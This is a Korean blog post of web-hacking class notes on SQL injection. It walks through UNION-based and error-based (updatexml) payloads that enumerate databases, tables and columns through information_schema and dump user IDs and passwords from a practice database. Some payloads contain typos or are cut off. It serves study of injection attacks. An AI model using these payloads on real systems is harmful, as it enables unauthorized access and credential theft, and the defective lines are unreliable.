본문 바로가기
Web hacking/Nomaltic) 웹 해킹 수업 노트 👩‍💻

[3주차]SQL Injection - 데이터 추출

by m_.9m 2021. 10. 29.

*SQL Injection 분류

1) 인증 우회
2) 데이터 추출

*대상에 따른 Injection

- SQL 질의문 결과가 화면에 안 나오는 경우
: 로그인 페이지, 아이디 중복체크 등등
= Blind SQLI

- SQL 질의문 결과가 화면에 나오는 경우
: 주소 검색, 게시글 리스트, 게시글 확인 등등
= UNION SQLI (Blind SQLI)

- 에러메세지가 뜨는 경우
= Error based SQLI

1. Union SQL Injection



step1 취약점 확인

mario를 ma ria, mario%' and '1%'='1 등을 사용해 키워드 검색이 되는지 확인해본다
키워드 검색이 확인되면 접근 가능성이 생긴 것.

step2 Order by를 사용해 컬럼 개수 알아내기

입력: mario' order by 1 #

select a,b,c, from ~~~ order by c(또는 컬럼 index 번호) [ASC/DESC]
'1'부분을 1부터 하나씩 늘려가며 에러나는 부분을 찾아서 컬럼이 몇갠지 확인.

step3 데이터 출력 위치 알기

입력: mario' union select 1,2,3,4,5,6 #
-1,4,5,6 만 출력되는 것을 화면에서 확인할 수 있음.
-해당 구문에 맞춰 select문을 삽입하면 데이터를 추출할 수 있다.

step3 데이터 베이스 이름 알기

데이터베이스는 DB내에 테이블에 관련된 정보가 저장된 테이블이 있다.
MYSQL의 경우엔 information_schema.tables 의 table_name 컬럼

*현재 데이터베이스 이름 알기
입력: x' union select database(),2,3,4,5,6 # 을 삽입시 segFault_sqli의 데이터베이스 이름을 알 수 있음.
*전체 데이터베이스 이름 알기
입력: x' uniion select schema_name,2,3,4,5,6 from information_schema.schema.schemata #

step4 테이블 이름 알기

입력: x'union select table_name,2,3,4,5,6 FROM information_schema.tables WHERE table_schema = 'segFault_sqli' #

step5 컬럼 이름 알기

DB내에 존재하는 컬럼과 관련된 정보가 저장된 테이블이 있다.
MYSQL: infotmation_schema.columns의 column_name 컬럼

입력: x' union select column_name,2,3,4,5,6 from information_schema.columns where table_name='user_info'#
'user_info'부분을 원하는 테이블명으로 변경하면서 검색.

step6 데이터 추출

x' union select id,2,3,name,password,6 from user_info #


* 데이터 타입을 모르면

%' UNION SELECT 1, null, null, null, null, null-
%' UNION SELECT '1', null, null, null, null, null-
이렇게 문자 '1' 아니면 숫자 1 니까 하나하나 넣어보면서 데이터 타입을 알아봐야한다.

1. Error Based SQL Injection


* 논리에러를 유발해야한다. 문법 에러가 먼저 발생하면 구조가 (1) 문법에러 검증 (2) 논리에러 검증이기 때문에 문법에서 오류가 나면 논리적 에러를 불러올 수 없음.

* Error 메세지가 출력되는 곳에서 사용할 수 있고

if(!$result) { die('Could not update data: ' . mysqli_error($db_conn)); }

php코드 삽입시 에러메세지를 볼 수있다.

* updatexml, extractvalue 등의 활용함수 사용



step1 Error 출력 확인

admin'입력해보기

step2 Error 출력 활용 함수 선정

입력: 1' and updatexml(null,concat(0x3a,(select 'test')),null) and '1'='1

step3 데이터 베이스 이름 알기

데이터베이스는 DB내에 테이블에 관련된 정보가 저장된 테이블이 있다.
MYSQL의 경우엔 information_schema.tables 의 table_name 컬럼

*현재 데이터베이스 이름 알기
입력: 1' and updatexml(null,concat(0x3a,(select database())),null) and '1'='1 을 삽입시 segFault_sqli의 데이터베이스 이름을 알 수 있음.
*전체 데이터베이스 이름 알기
입력: 1' and updatexml(null,concat(0x3a,(select schema_name from information_schema.schemata limit 0,1)),null) and '1'='1

=> 여기서 limit 함수를 사용해서 하나씩 출력해야한다.
limit n,1 을 통해 1개의 테이블씩 출력 가능. n번째 테이블.

step4 테이블 이름 알기

입력: 1' and updatexml(null,concat(0x3a,(select table_name from information_schema.tables where table_schema='segFault_sqli' limit 3,1)),n

step5 컬럼 이름 알기

DB내에 존재하는 컬럼과 관련된 정보가 저장된 테이블이 있다.
MYSQL: infotmation_schema.columns의 column_name 컬럼

입력: 1' and updatexml(null,concat(0x3a,(select column_name from information_schema.columns where table_name='user_info' limit 2,1)),null)

'user_info'부분을 원하는 테이블명으로 변경하면서 검색.

step6 데이터 추출

입력: 1' and updatexml(null,concat(0x3a,(select password from user_info limit 2,1)),null) and '1'='1